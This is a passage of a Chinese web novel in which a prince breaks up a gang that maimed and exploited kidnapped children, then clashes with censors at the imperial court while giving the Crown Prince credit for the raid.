此刻一众小孩正眼神惊恐地拥挤在一起看着萧恒等人,在一众小孩的对面角落中,堆满了污秽之物,令人作恶的恶臭便是从那传来的。
“嗯~”
忽然一声微弱的哀嚎声传入了萧恒的耳中。
萧恒闻言立即接过了一名士卒手中的火把,朝发出哀号的地方走了过去。
这才发现,一众小孩里面还藏着两名倒在地上昏迷不醒的小孩。
两名小孩,一人缺了一只手臂,如何缺少的不知道,一块被鲜血染红的粗布将伤口简单地包裹着。
小孩面色苍白毫无血色,口中发出若有若无的哀号声。
另一人也差不多,只不过少的是脚,另外手上也包着一块被鲜血染红的粗布。
这名小孩此刻连哀号都发不出来了,面色苍白毫无血色地躺在地上已经彻底陷入了昏迷。
萧恒身子凑近,两侧的小孩急忙朝两边躲闪,两名躺在地上的小孩身躯彻底暴露在萧恒视线中。
萧恒抬手抚摸了一下两名小孩的额头,两人都还活着,但额头滚烫,发烧严重。
若是不立即救治,最后恐怕有九成的缘故会因伤口感染而导致死亡。
看着这一幕萧恒内心的愤怒瞬间达到了顶点,但此刻不知是因原身的缘故,还是怎么回事,萧恒的表情竟然出奇地平静。
脸上没有一丝表情,如同内陆无风的湖水。
“将他们带出去,立即寻来郎中,”萧恒吩咐了一声,转身出了地窖。
……
“啊~大人饶命……大人饶命啊……!”
萧恒出了地窖,立即便命人寻来了一根长棍,二话不说对着杜二狗就是疯狂地输出。
士卒将地窖中的小孩一一送了出来,一众小孩站在不远处,眼神带着一丝惧怕地看着萧恒痛殴杜二狗,同时萧恒口中爆发出各种咒骂。
“大人饶命……大人饶命啊,”杜二狗在地上痛得满地打滚,口中疯狂求饶。
“大人求你了别打了……别打了再打就要死人了,小的多年下来,还……还略有积蓄,小的愿意全部奉上,只求大人别再打了。”
积蓄?
都是用这群小孩获取的烂良心的钱是吧?
不说此话还好,一说此话,萧恒内心顿时更加暴怒,手中力道再次加大了两分。
“啊~”
杜二狗的惨叫声一声比一声更加大声。
“大人小的认识京都衙门的张大人,还请大人看在张大人的份上,饶小的一命……啊~饶命啊。”
杜二狗眼看钱财无法收买萧恒,索性搬出了自己背后的靠山,试图让萧恒忌惮。
“呼……!”
萧恒知道眼前之人留着还有用,故而并未下死手,脑袋心脏等地方都未曾击打,打了好一会之后,萧恒累了将棍往一旁随手一丢。
杜二狗见状却是大喜,还以为自己搬出来的靠山,起作用了,眼前的青年惧怕了。
赶忙口中吐着血沫子道:“小的与张大人关系极好,只要大人今日能放过小的,将此事压下,小的日后定也会如同孝敬张大人一般,孝敬大人你。”
“只求大人将今夜之事压下,一切都好说。”
第27章:真不是臣啊
“砰,聒噪,”萧恒一脚踹了过去,拍了拍双手。
喘着粗气道:“问清楚这货口中的张大人是谁?”
“说,你口中的张大人是谁?”周仓闻言立即一把揪住杜二狗的头发厉声询问道。
杜二狗刚恢复的一点自信,再次消失,惊恐回应道:“小的不知张大人的姓氏,只知他是京都府的大人。”
周仓闻言起身说道:“据属下所知京都府通判姓张,叫张才人,其本家是幽州人士。”
“将此人叫来,另外再通知京都府尹汪兴怀用最快的速度赶到此处。”
“让他睁眼看看,他的治下都是一个什么样子?”
萧恒语气中满是震怒。
在命人去传唤京都府尹的时候,青龙帮的其他人也被陆续从各处带了回来。
一同带来的还有被藏在其他地方的小孩,共计一百三十一个。
其中四肢不全终身残疾的小孩便有九十多个,刚被弄成残疾的有七个。
手脚健全的存在不足两成。
“驾……!”
“吁……!”
“臣京都府尹汪兴怀参见齐王殿下,”京都府尹来的极快。
来到现场看了一眼四周环境,不远处被士卒看守着的青龙帮成员。
一侧正在狼吞虎咽吃东西,身上脏兮兮的小乞丐。
以及萧恒不远处数个半死不活如同死狗般,躺在地上出气多进气少的男子。
京都府尹在来时的路上,已经朝传唤自己的人简单地询问了一下事情的大概,此刻心中多少有点数。
但此刻看着眼前的一切,再加上站在不远处面色铁青的萧恒,心中还是咯噔一声。
急忙稳住胯下马匹,一路小跑来到萧恒面前。
“臣失察,请殿下降罪。”
萧恒淡然地看了一眼,掏出了太子令牌:“这些话你留着去向太子、陛下交代吧。”
“今日叫你来,”萧恒指了指不远处的一百多名小孩,面色平静道:“此案由东宫彻查,至于你,那群小孩看到了没有。”
“妥善安置下去,凡是受伤的小孩请最好的郎中进行医治,至于钱财……!”
“请殿下放心,一切钱文由京都府出。”
“来人,”话落京都府尹立即转头朝一跟着自己来的中年大声喊道。
“你速去寻一处宽敞的宅院,再寻来城中最好的郎中,以及带孩子经验老到的妇人,将这群可怜的孩子全部安置进去。”
“另外传令下去,从今夜开始,对城中所有乞丐,周边失踪儿童案件一律严查。”
“反了天了,天子脚下竟然发生了此等恶劣事件,臣愧对陛下皇恩啊。”
说着说着京都府尹竟泪流满面了起来。
见状萧恒翻了一个白眼,老演员啊,这哭戏说来就来,丝毫不需要酝酿。
京都府尹抵达现场不久,京都府通判张才人也火急火燎地赶了过来。
“殿下……臣冤枉啊……!”京都府通判张才人还在老远便嘶声吼道。
一个滑铲就跪在了萧恒面前,语气急速地说道:“殿下臣冤枉啊,这所谓的青龙帮臣以往听都未曾听说过,更不用说认识此人了。”
“殿下此人口中的张姓官员,绝对不是臣,而是另有他人。”
“还请殿下稍等片刻,臣在来时已经命人将京都府凡是姓张的官员全部通知,火速赶到此地。”
京都府通判求生欲爆表,不待萧恒说出一句话,便快速说明了一切。
萧恒闻言踹了一脚已经半死不活的杜二狗,一名护卫蹲下身躯,将其头颅扭朝了京都府通判张才人。
“认识此人不?”萧恒冷声问道。
“你可认识我,看仔细了,千万不能认错了人,”张才人生怕杜二狗看不清自己,几乎是将自己整张脸都贴到了杜二狗脸前。
“咕噜……咕噜……!”
杜二狗口中不断冒出血沫子,眼珠子不断翻白眼,根本就无法认人。
“你倒是睁眼看看本官啊,”这让张才人急得直跺脚,情急之下直接上手就要手动帮杜二狗睁眼。
但是就算张才人强行将杜二狗的眼皮撑开,也只能看到两眼白。
“行了行了,看来确实不是你,”萧恒见状心中已经初步判断,看来确实是另有其人,不然不敢如此,于是出声道:“起来说话吧。”
“殿下真不是臣,”张才人起身再次强调道,脸上满是焦急之色。
来时他同样打听了一个七七八八,深知此案的恶劣性质。
而且既是齐王殿下亲自入场,便说明此案已经直达天庭了。
这若是不立即将自己摘出去,真被扣上其背后靠山的帽子,莫说自己了,即便是自己背后的家族都得废掉。
萧恒这一夜折腾到了清晨,才将青龙帮一案理得七七八八。
所有的小孩都是青龙帮从外地掳来的,前前后后不下三百人。
听话顺从能想办法讨来钱的,便会少受皮肉之苦,吃饭也能多吃一点。
若是长得清秀一点的,男丁则会先想办法卖给那些没有后的人家,卖不掉的便留着放出去乞讨。
女的则是多数以青楼为主。
长得不好看便统统放出去搞钱,不管你是抢也好,偷也罢,还是乞讨也好,只要能弄来钱。
你便能好吃好喝,住干净的房子,还不用挨打。
其实就是吃青龙帮成员剩下的饭菜,睡在简陋的房中,但总比地窖里面的环境要强。
但若是弄不来钱,或者想要逃跑的,则会被抓回来打断手脚。
并且弄残之后,也不会让郎中来给他们进行医治,直接粗暴简单地包扎一下,便丢进地窖,任其自生自灭。
若是能活,便丢在大街上继续乞讨,若是死了便直接寻个地方一埋便算了事。
这么多年下来,被青龙帮打残最后死亡的小孩已经超过了两百的恐怖数据。
听闻这个数据,萧恒内心顿时猛地一颤。
至于那个张姓官员确实不是张才人,而是一京都府的从七品官员。
找到此人时,此人还在教坊司搂着一姑娘睡大觉,直接被人从被窝里给拽了出来,押到了现场。
确认正主之后,张才人二话没说,上前就是结结实实地两巴掌。
知道今晚自己是怎么过来的吗?
张才人内心呐喊。
张才人今夜内心七上八下从头到尾就压根没有平稳过。
全拜你这混蛋所赐。
最后不解气,又补了两脚,这才舒心了不少。
第28章:都是太子的功劳
“殿下,陛下宣你即刻进宫。”
卯时,城中的公鸡已经开始打鸣了,但萧恒却才处理完事情打道回府打算美美地睡上一觉。
不过却刚脱衣躺下不足半个时辰,三福便急匆匆地走到床边唤醒了刚睡着的萧恒。
“父皇宣我进宫?”萧恒睁眼表情先是微微一怔,随即迅速起身喝道:“快,更衣。”
梁帝宣召,萧恒可不敢再赖床了。
在婢女的伺候下换好衣物,便匆匆朝宫中赶去。
等萧恒进宫时,天色已经大亮,早朝已经进行好一会了。
说起来大梁的官,尤其是京官也不是那么好当的。
梁帝的勤政是出了名的,除了重大节日亦或者其他特殊情况,梁帝几乎每日都会上朝。
而既然老板都准时到公司打卡上班了,身为员工的你还敢迟到不成?
大梁每日的早朝时间为卯时四刻开始,也就是早晨六点整。
虽说是卯时四刻开始,但你总不能真的卯时四刻才抵达太极殿吧。
自然是需要提前抵达的。
所以一般情况下,凡是当天需要进宫参加朝会的官员。
往往都需要至少提前半个到一个时辰左右起床,开始洗漱更衣,从家中出发,先来到宫门前等候禁军打开宫门。
在这里低品秩的官员,更是至少需要提前比高品秩的官员,早一刻钟到半个时辰左右的时间抵达宫门处。
此举一是在大佬面前表现一下自己的勤政。
二一个则是,官场多年默认的规矩,不能来得比大佬还晚。
不然你说你一个四品以下的芝麻官,一次次的来得比人家二三品的大员还要晚。
是不是有些说不过去。
所以品秩低的官员往往起得更早,来得也更早。
若是非本地官员,在内城买不起房亦或者租不起房的官员,就更惨了。
尤其是冬天,对于路远低品秩的官员简直就是一种莫大的折磨。
宫门前官员便会几乎到齐,随后等宫门大开之后,才鱼贯入宫。
当然至于那些一二品大员啥的,自然无须早早地就跑到宫门前等待。
反正人家住的地方距离皇宫也近,资历也老,大可算着时间,等宫门开了再来。
反正在卯时四刻之前踏入太极殿便是,只要梁帝还未踏入太极殿,他们便算早到。
其他官员有一个算一个,也都得点头哈腰地行礼打招呼,不敢有丝毫的不满。
萧恒抵达太极殿时,朝会早已开始,此时自然是不能贸然进去的,需要在外老实候着等待梁帝宣召。
萧恒对此随便在殿外寻了一根柱子,便靠在了柱子上,口中打着哈欠,毕竟昨夜一夜未睡,还进行了时间不短的体力活,揍人。
此刻身子确实有些乏了。
“殿下,陛下宣您了,”萧恒靠在柱子上迷迷糊糊地都快睡着了,一名内侍才在耳边轻声唤道。
“嗯,”萧恒闻言瞬间清醒了过来,赶忙挺直了腰背,整理了一下衣领,迈步朝太极殿走去。
走进太极殿,太极殿极为宽阔,数百文武大臣位列两边站好。
站在末位的众多官员,见到萧恒的身影,虽并未出声,但依旧侧身朝萧恒躬身行礼。
萧恒大步朝前走去,两名年纪不大的青年,身着蟒袍站在百官前方。
萧恒一眼便认出了这两人的身份,两人都是大梁的皇子。
二皇子萧商,五皇子萧青。
二皇子是贵妃所出,五皇子是淑妃所出。
都是四妃之一,并且其外亲都是大梁赫赫有名的勋贵世家,朝廷地位都不低。
贵妃是大梁现任右相吴文耀之女。
淑妃是大梁现任礼部尚书贺闻光之女。
原著中两人一直对储君之位虎视眈眈,故而一直对太子保持敌视状态。
而原著中太子是板上钉钉的大梁第一顺位继承人,这二人的最终结局,自然不言而喻,老凄惨了。
此外渴望那个位子的皇子还有两人,一个是老四萧何,一个是老七萧谷。
今日朝堂之上并未见二人的身影。
在原著中,原身与这四人暗地里互看不顺眼,各种给彼此使绊子,但又时不时地一致对外对付太子,想将太子拉下马。
至于最后的结果,自然是太子得胜,反正最后五人活得最久的一个就是原身。
即便原身最后也郁郁而终了,也是活得最久的那个,至少没有被刀剑加身。
二皇子萧商、五皇子萧青见到萧恒的身影,二人很自然的朝萧恒点了点头,面带微笑。
但萧恒对此却是目不直视,全然一副没有看到的表情。
目光直接落在了站在梁帝左侧下首的太子身上。
同样面带微笑,很自然的点了点头。
笑话,一群炮灰,赶紧走远一点,能不沾染就千万不能沾染分毫,可万不能让自家哥哥给误会了。
太子见状淡然地点了点头。
老二、老五则是表情一僵,看着萧恒的身影,眼中出现了一丝不满的阴鸷。
此刻梁帝身穿黑色龙袍高坐龙椅之上。
“儿臣参见父皇,父皇圣安,”萧恒走到御阶前,并未行跪拜之礼,只是拱手身躯微弯行了一礼。
跪拜大礼,在大梁是很少用的。
一般情况下用这个礼的时候,要么在求饶,要么在讨好。
不然大多时候只需躬身行礼便可。
梁帝看着萧恒面色淡笑:“昨夜之事你做得不错。”
萧恒表情不卑不亢道:“此事儿臣不敢居功,昨夜一切儿臣都是听命太子行事。”
“这才捣毁了一处恶魔的窝点,解救出了一众可怜的幼童,未让朝廷脸面继续因某些官员治理不明而蒙羞。”
萧恒此话一出,文官一列,京都府尹汪兴怀几乎没有丝毫犹豫便扑通一声跪了下去。
语气诚恳道:“臣失察,让朝廷蒙羞,实乃万死,请陛下治罪。”
梁帝眼神只是淡淡地看了汪兴怀一眼,并未说话,倒是对萧恒面露一丝赞许。
继续问道:“你说昨夜之事,乃是太子吩咐你所做?”
“是的父皇,”萧恒一本正经道。
太子看了萧恒一眼,朝梁帝开口道:“父皇此事九弟昨日确实在事先与儿臣说了一下,但从发现青龙帮的恶行,到昨夜的行动,都是九弟在负责,儿臣并没有过多参与。”
第29章:大殿揍人
“太子太过谦虚了,昨夜之事若非太子第一时间派出东宫人手,臣弟也无法在这么快的时间里,便铲除青龙帮这颗毒瘤,”萧恒语气恭敬自然的说道。
二人的话让高坐龙椅之上的梁帝表情微微一怔,尤其是看向萧恒的眼神。
心道:这小子这几日性子转变这么大的吗?
百官也是一脸诧异,尤其是老二、老五二人。
看着不断推让功劳的二人,表情都蒙了。
不可思议地看着萧恒,这还是自己认识的那个老九吗?
老九不是一向发自骨子里的对太子不满吗,这份不满几乎到了不加掩饰的地步,找到机会便会在梁帝面前攻击一下太子。
想让太子在梁帝心中产生不好的印象,但今日这是什么鬼。
为什么二人好得就像穿一条裤子似的。
太子让功就算了,毕竟太子在朝堂之上的名声是出了名的仁德,不管是装的还是真的,至少说得过去。
但你老九?
一个往日里最见不得太子的存在,今日为何也是这般。
莫非得了失心疯了?
“对了太子,这是您的太子令牌,”萧恒此刻从怀中取出了太子令牌当着文武百官的面递还给了太子。
萧恒知道此事梁帝知晓之后,肯定会在朝会上说的。
毕竟此事太过恶劣,数百孩童被残害,就发生在天子脚下。
若是昏君为了自己的名声,可能会选择掩盖此事。
但梁帝不会,以萧恒对梁帝的了解,梁帝得知此事之后,只会雷霆震怒,下令彻查此事。
故而萧恒从一开始便知晓,此事绝对会在朝堂之上引爆。
故而昨夜并未将太子令牌交给项庞云让其一同带回去,就是打算在朝堂之上,当着文武百官的面,还给太子,做实此事乃是太子主导。
将功劳让给太子,让太子看到自己的善意。
只不过在萧恒心中,此事应该需要隔上一天,太子才会上报到梁帝。
毕竟案件的许多细节,还需要进一步调查,以及案卷的整理这些都是需要时间的。
却未曾想到,太子做事也是这般地雷厉风行,天色未亮便将此事上奏到了梁帝跟前。
“嗯,”太子颔首,收回了自己的令牌。
“什么情况,昨夜针对青龙帮一事,真是太子安排齐王去做的?”
“不应该啊,太子与齐王的关系何时这般和睦了?”
看着萧恒掏出的太子令牌,百官之间不少人面色诧异地窃窃私语了起来。
老二与老五对视一眼也是眉头猛地一凝,老九今天吃错药了,还是落下什么把柄在太子手中,故而才这般配合太子,在梁帝面前表现出一副兄弟和睦的场景出来。
老二与老五对视了一眼。
老五当即不动声色地点了点头。
“咳……!”
口中轻咳了一声。
声音不大但却能传进萧恒的耳中。
这货打算搞事情了,萧恒面色不变,心中笃定。
果不其然,老五的轻咳声刚刚落下,一御史官员便突然站了出来。
面色严肃道:“陛下,臣有本要奏。”
梁帝眼中闪过一丝厌恶,冷冷出声:“讲。”
御史看了一眼太子,手持玉笏,朗声说道。
“臣弹劾太子殿下,昨夜无旨擅动东宫左右两卫,数千兵马列阵街巷,无端破门拿人,惊扰百姓,致使今日京都民心惶惶,门窗紧闭,此乃扰民乱政之举。”
“荒谬,”御史话音落下,梁帝还未开口,萧恒便表情大怒地给怼了回去。
“你是眉毛下面挂两蛋,光会眨眼不会看啊。”
“昨夜城中发生了何事你不知道?”
“青龙帮罪行滔天,残害数百孩童,震动京师,太子殿下忧心国本,第一时间封锁全城,缉拿元凶,肃清余孽,何错之有?
“反倒是你身为御史,不察民生多艰,不问事情因果,在此大放厥词,冤枉储君着实该死。”
御史是出了名的嘴硬,此刻表情一僵,但依旧语气强硬道。
“齐王也说了昨夜之事乃是青龙帮所犯,那便抓捕青龙帮党羽便是,那为什么还要调动东宫左右两卫,波及无辜?”
“据臣所知,昨夜被捕者逾千,岂非小题大做,徒惹非议?”
“聒噪,”萧恒再次毫不客气的回怼出声:“你可知你此时口中的无辜之辈,都是什么身份?”
“自然是我大梁的百姓,还能是什么身份,”御史眼神出现一丝闪躲,但依旧硬气地说道。
“放屁,他们皆是民间各种组织的人,”萧恒怒骂出声。
“齐王殿下,此乃太极殿,陛下当前,你……你怎可如此粗鄙?”御史满脸震惊之色。
立即朝梁帝大喊道:“陛下,齐王君前失礼,臣恳请陛下立即严惩齐王以儆效尤,否则若是传了出去,岂不是让天下人笑话。”
“你丫的闭嘴吧,”萧恒实在听不下去了,冲过去一脚就踹了出去。
“啊……”御史从未想过,有人敢在大殿之上动手打人,压根就没有反应过来,一脚就被萧恒踹翻在地。
惨叫一声,萧恒丝毫没有惯着,抬手又是一拳,直接一拳揍在对方嘴上。
大喊道:“你丫的最好闭嘴。”
随即大骂出声:“就你会叭叭,正事是一点不做啊。”
“一天到晚只会搬论是非听风就是雨,你可知你口中的那些普通百姓,性质是与青龙帮一模一样并无二般。”
“都是一群市井混混抱团在一起,平日里干的就是欺行霸市的勾当。”
“青龙帮发生了如此恶劣事件,他们身为同样的组织,朝廷岂能继续不闻不问,任由其发展下去。”
“而且若是他们也和青龙帮一般,在暗中做出了那等恶劣事件怎么办?”
“他们欺行霸市欺负普通百姓的时候,你整天抱着三妻四妾尽享温柔乡,眼瞎耳聋啥的看不见。”
“现在太子为百姓主持公道,一举铲除民间黑恶势力的时候,你反倒跳出来唱起了反调。”
“现在本王严重怀疑,你与那些恶贯满盈之辈有着莫大的关系,甚至就是他们的靠山之一,你才会如此替他们说话。”
御史闻言瞳孔猛地一震,连口中哀嚎都停了下来,想要朝梁帝出口解释。
“砰!”结果刚张嘴,又挨了萧恒一拳:“本王让你闭嘴,莫要哔哔。”
萧恒一拳打出,确保御史说不出话来之后,这才朝梁帝大声说道。
“儿臣恳请父皇立即下旨,缉拿此人,严查此人与那些恶贯满盈之辈的关系,还天下百姓一个交代。”
第30章:御史台
因御史乃是直接对皇帝负责,其本身便拥有反驳诏书,弹劾百官,规谏皇帝的权利。
大梁又有着言者无罪的祖制,此条祖制的本质本是广纳良言治理天下,体现皇帝心胸宽阔,明君的一种表现。
结果倒好,这等祖制沿用至今,对于民间百姓的声音,皇帝愣是一条没有听到。
反倒是被御史台的一众御史给运用得炉火纯青。
一群道貌岸然的家伙,整天听风就是雨不是在炮轰这个,就是在炮轰那个。
时不时地为了彰显自己的存在,连梁帝都要找个由头拉出来喷上两句过过嘴瘾。
对此梁帝若是大怒,下令严惩御史,他们便会高喊言者无罪的祖制。
梁帝若是忍了下去,那便是他们劳苦功高不惧皇权规谏皇帝的功劳。
若是梁帝忍无可忍,但又不能下令杀了那厮,只能下令将其拖出去挨板子。
那不好意思,在御史这群神经病中,不少人对此不以为耻反以为荣。
只要没死,打得越狠他们越感觉到骄傲,这都是他们忠心为国的表现。
对此御史台的一众御史在百官圈子里面简直就是一群发了疯的野狗,没人喜欢与他们打交道。
就连梁帝对这群人都是又爱又恨。
爱的是这群人,监察百官确实有用,有这么一群人盯着,百官确实安分不少。
恨得是这群人敌我不分,自己也在他们的盯梢范围内。
甚至为了千古名流留名史册,专门盯着自己的御史简直不要太多。
说严重一点,有时用膳时,多说两句话,都会被找茬的御史弹劾上一句食不言的罪名。
梁帝时不时地就会被这群御史气得牙痒痒。
而昨夜青龙帮一案,早在上朝之前太子便递交了折子,折子中详细说明了一切。
萧恒身边自然也有梁帝特意安排的人,其传回宫中的消息,也证实了一切。
此刻梁帝看着眼前的御史,面色平静,但眼底却是止不住的厌恶。
萧恒话音落下,梁帝几乎没有丝毫犹豫,看着躺在地上嘴角四周乌青的御史,冷冷吐出一字:“准。”
“来人将此人打入大牢,交由影刃司严查。”
梁帝话音落下,数名顶盔披甲持刃的禁军立即大步走了进来。
“陛下,圣祖皇帝祖训言者无罪,陛下不可将臣打入大牢。”
躺在地上的御史一听,要将自己交由影刃司查处。
瞬间面色狂变,顾不上哀嚎,急忙大声喊道。
影刃司是什么地方,那是一处被百官亲切地称为人间地狱的一处地方,自己若是进了影刃司昭狱,自己还有命出来吗?
当即就慌了,表情惊恐万分。
“砰!”
萧恒对此上去又是一脚:“圣祖皇帝口中的言者无罪,是让你有依据、有证据,依据说话,依证举证,而不是让你在这无理搅三分,肆意犬吠。”
“砰,”萧恒话落又是一拳,打得对方惨叫连连,牙都崩掉了一颗。
进来拖人的禁军也是老手,眼看梁帝皱眉严重满是厌恶。
当即知晓梁帝嫌弃此人聒噪,直接抬手捂着了对方的嘴,利索地拖着往外走。
此人一路被拖出太极殿,因嘴里发不出声音,只能瞪大眼睛死死盯着老五,企图五皇子能出言救他。
但五皇子从头到尾都是一言不发,甚至连看都没有看过此人一眼,任由此人被禁军拖了出去。
其他官员此刻也非常默契地没有做声,此刻被拖出去的御史,其品秩不过是一名从七品御史罢了。
就是一个被自家主子丢出来,试探梁帝的炮灰罢了。
自己人都不管,其他看热闹的官员就更不会管了。
百官沉默了片刻,半响之后才有一名御史跳了出来。
但此人跳出来都不是为了救被拖走之人,而是弹劾萧恒。
“陛下!齐王殿下君前失仪,于大殿之上殴辱朝臣,行为粗戾,有损天威,臣恳请陛下下旨严惩,以儆效尤,否则若人人效仿,朝廷威严何存?”
“你也闭嘴,”萧恒同样不惯着此人,怒喝回去:“你是何人?”
出言之人表情一怔,怒气冲冲地回答道:“臣,御史台御史中丞何正豪。”
“御史中丞?”萧恒重复了一声:“御史台二把手,大官啊。”
御史中丞正四品,为御史台的副手,通常情况下为两人,主要工作是协助御史大夫处理台务,若是大夫职位空缺时,代行其职。
“父皇,”萧恒不屑的看了何正豪一眼。
当即转而向梁帝行礼,声朗气清,“儿臣弹劾御史中丞何正豪:身为台院中丞,却治下不严、督察无能,致令御史台纲纪涣散、风纪败坏。”
“诸御史弹劾不依实证、不论逻辑,闻风奏事、滥言惑众,此举不仅污损御史台清名,更徒增父皇与诸司衙署之负。”
“儿臣恳请父皇下旨,严惩何正豪,整肃御史台,以正清风!”
“臣附议!”
御史台负责监察百官,平日里得罪官员可不少,此刻萧恒对其炮轰。
其他平日里看御史台不爽的官员,立即响应号召跳了出来,跟着萧恒一起踩御史台。
谁不知道御史台最近越来越猖狂了,就连皇帝现在看御史台都越发地不顺眼了,此刻又有齐王牵头。
此时还不睬御史台一脚,更待何时?
“臣附议……!”
当即就有几十个四品以上的官员站出来开口附议,还有两昔日被御史台参奏过的从二品大员,此刻也站了出来。
“何爱卿齐王弹劾你一事你可认?”梁帝表情平静地看着何正豪。
此刻何正豪有些宕机,不是自己在弹劾齐王吗?
怎么转眼就成了齐王弹劾自己了。
“陛下,臣冤枉啊,齐王所说纯属无稽之谈,御史监察百官,所弹劾之事皆有实证,断不可能无凭无据胡乱弹劾他人。”
“何大人真是好大的忘性,刚刚被禁军拖走之人,何大人可千万莫说那不是你御史台的人。”
萧恒表情冷笑一声,嗤之以鼻道。
“那人可是刚刚无凭无据,仅凭胡乱猜忌便弹劾了当朝储君。”
“一区区从七品御史,都敢在这太极殿上,当着百官的面无凭无据弹劾储君了。”
“那对其他朝廷百官还了得?”
“如此作风,你还敢狡辩本王冤枉了你御史台?”
第31章:敲打
“说,本王可有冤枉你御史台?”萧恒厉声反问。
何正豪瞬间语顿,张口欲要继续辩解,但眼神瞟了一眼梁帝又瞬间闭嘴了。
刚才那人确实是御史台之人,并且已经被梁帝定了罪,自己若是此时强行为其解释,无疑是在与梁帝作对。
御史台的一众御史平日里虽说以寻找梁帝的各种小辫子为最终目标。
但这不代表御史台的人,就全是一群二愣子,没有丝毫的人情世故。
他们寻找梁帝地 小辫子也是在可控的情况下进行的,若是真有威胁他们同样闪的别谁的快。
此刻何正豪眼神瞟了一眼梁帝,又看了一眼自己的顶头上司御史台的御史大夫刘钦,见其丝毫没有出言之意。
又见御史台另一名御史中丞此刻全然一副看戏的表情,其他大臣也是一律附和的表情。
何正豪表情顿时变得极为难看,片刻之后选择了妥协,朝梁帝叩首下去,面色诚惶诚恐道。
“臣治下不严,请陛下治罪。”
能让这老棒子哑火不继续辩解下去不容易啊,梁帝面色平静,心底却默默地给萧恒记上了一功。
淡然开口:“御史台朝纲涣散,举证不严,刘钦。”
“臣在,”御史大夫刘钦上前一步,躬身行礼,一脸惶恐。
“御史台今日景象,你身为御史大夫难逃其咎,本应对你严加问罪,再另选贤臣顶替你的职位。”
“但朕念你多年执掌御史台不易,没有功劳也有苦劳,此番便不做过严的追责,只对你小惩大诫,罚你一年俸禄。”
“若御史台往后依旧这般,你这御史大夫便换人吧。”
御史大夫刘钦的面色全程保持惶恐的表情,内心却非常的平静。
知道这是梁帝在敲打自己,并非真的降罪。
当即不敢有丝毫犹豫,立即叩首谢恩。
“臣,领旨谢恩。”
“何正豪,宋连智,”梁帝又开口叫出了两人的名字,两人都是御史台中丞。
“你二人各自罚俸半年,可有不满?”
“臣,领旨谢恩,”二人面部表情与刘钦仿佛是一个老师教出来的,皆是满脸惶恐之色,叩首谢恩。
御史台三大巨头全挨了鞭子,今日其余御史算是全部哑火无人说话了。
青龙帮一案再无人提及,随后又有人出列上奏了一下其他事情。
俗话说,小事开大会,大事开小会,重要的事不开会。
这句话到哪里都是通用的,凡是能搬到朝会之上的事,大多都是早就商定完毕,到了此处就是走一个过场。
甚至就连各方博弈的时候,若是到了朝堂之上,也几乎都是私下博弈了个七七八八了,朝堂之上就是最后一哆嗦了。
朝会再次进行了不到半个时辰便结束了。
随着梁帝身边的大太监黄公公尖锐的声音响起:“退朝。”
老爷子起身心情不错的下了朝。
“老九你我兄弟多日不见了,走一同去府上喝两杯,”散朝萧恒刚走出太极殿,五皇子萧青便一脸笑意的走到了萧恒面前,对萧恒发出了邀请。
“多谢五哥邀约,不过今日太子召我去一趟东宫议事,怕是没有时间了,等改日弟弟我做东陪五哥喝个尽兴。”
萧恒几乎是想都没有想便直接拒绝了老五的邀请。
老五表情不变,脸上保持着的笑容:“既然太子召见,自然是一切也国事为重。”
“那九弟便告辞了,”萧恒行了一礼,朝太子仪仗追了过去。
“老九近几日怎么回事,怎么愈发的与太子走的近了?”
萧恒刚离开,二皇子萧商的身影便出现在了五皇子身旁,面色阴沉的看着萧恒离去的背影。
老五脸上依旧挂着微笑,一本正经道:“五弟去给二哥问问?”
二皇子脸上阴沉又浓重了一分,不过却是轻描淡写的道:“我看行,那哥我就静待五弟消息了。”
“嗯,行,那二哥在此好好等着吧,”五皇子笑呵呵的随着百官朝宫外走去。
对此身后二皇子萧商的脸庞彻底阴沉了下来。
片刻之后又恢复正常,朝两侧路过向自己行礼的大臣点头示意。
“皇兄,”萧恒很快便追上了太子的仪仗。
今日太子出现虽带了仪仗,但这不过是为了体现储君尊贵罢了。
就前后跟了数十个护卫,几名内侍几名宫女罢了。
队伍中莫说车驾了,连个软轿都没有一架,太子全程步行。
萧恒喊了一声,来到了太子身旁。
“昨夜忙碌了一夜没有合眼,今日一早又进宫议事。”
有了今日朝廷之上的事,此刻太子对萧恒态度不错。
笑着说道:“你不赶紧出宫回府休息,来孤这里作甚?”
萧恒双手环抱后脑,随口道:“刚才老五让我去和他喝酒,臣弟怕他算计,来皇兄你这躲躲。”
太子闻言失笑道:“自家兄弟喝顿酒,你怕啥?”
“孤倒是想喝,但却没人找孤喝。”
萧恒扭头看了一眼太子,一脸鄙夷道:“皇兄你可拉到吧,谁敢找你喝啊。”
“没有成年的弟弟找你,你上来就跟个老父亲似的,问人家功课做的如何了,书背的如何了。”
“有事比父皇还严,谁敢找你。”
“至于开府的皇子,进宫本就多有不便,而你又是储君,平白无故找你喝酒,也不妥啊。”
还有一点萧恒没说,能随意进宫的几人,又都惦记那个位子,与你面和心不和,说句话都是各种挖坑,若是真找你喝酒,还不得双方都被淹死求掉。
太子闻言表情微微一怔,随即苦笑道:“孤有这么严厉吗?”
太子话音刚落,远处就出现了一行人,数名太监宫女拥戴着一名打扮精致,年纪不大的女孩动作缓慢的走在宫道上。
女孩看到太子的瞬间,脸瞬间就白了,两眼如同无头苍蝇一般四处乱瞟,想要逃跑。
但还没跑呢,身后跟着的太监宫女便已经齐刷刷的跪了下去。
“参见太子殿下,”齐声恭敬道。
“萧欣,”太子朝女孩走了过去,并板着脸喊出了对方的名字。
“萧欣见过太子,见过九哥,”大梁皇子与皇女是分开排名的。
眼前的女子名为萧欣,大梁公主,皇女排行十六,生母为修容。
此刻萧欣一脸恭敬的朝二人行礼,眼中却是肉眼可见的紧张。
第32章:国库严重入不敷出
“萧欣你此刻不是应该在文贤殿读书吗,怎么会在此地?”
太子板着脸问道。
文贤殿是大梁皇子皇女读书的地方,平日里除了皇子皇女,一些重臣的子女也会进入文贤殿,作为皇子皇女的陪读。
身后跪着的一众太监宫女匍匐着身躯低着头没人敢说话。
“我……我……”萧欣低着头语气结结巴巴的半天说不出一句话来,一双小手紧张的手指乱转都快结印了。
“你又逃课了?”太子语气中透着一丝无奈。
“没……没有,”萧欣急忙为自己辩解道:“我……我是身体不舒服,这……这才来晚了。”
“是吗?”太子表情平静。
“嗯,”萧欣认真点头道:“真的,太子若是不信可以问他们。”
萧欣指着身后的一众宫女内侍说道。
“萧欣今天身体不适?”太子朝内侍询问道。
“回太子殿下的话,”一名萧欣的贴身内侍声音有些颤抖道:“公主今日起床时,确实说身体不适,并唤来了太医,为公主诊治。”
“太医怎么说?”
内侍低着头:“太医说,公主多……休息一下就好,并无其它。”
